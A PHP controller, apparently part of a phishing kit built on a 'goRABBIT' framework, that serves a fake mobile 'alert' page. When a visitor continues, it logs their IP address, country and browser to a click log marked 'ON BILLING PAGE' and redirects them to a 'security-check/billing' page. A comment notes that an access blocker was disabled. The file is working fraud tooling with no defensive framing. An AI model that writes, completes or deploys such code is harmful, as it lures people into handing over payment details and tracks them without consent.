<?php
defined("ALLOW") or exit('No direct script access allowed');

class Alert
{
	public $goRABBIT;
	public function __construct()
	{
		$this->goRABBIT = new goRABBIT();

		// Blocker disabled - allow direct access
		// Original code blocked access without session
	}

	public function index()
	{
		echo view('mobile/alert');
	}

	public function process()
	{
		$_SESSION['access'] = 2;
		write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}| ON BILLING PAGE\r\n");
		redirect(base_url() . 'security-check/billing?_id=' . md5(time()));
	}
}
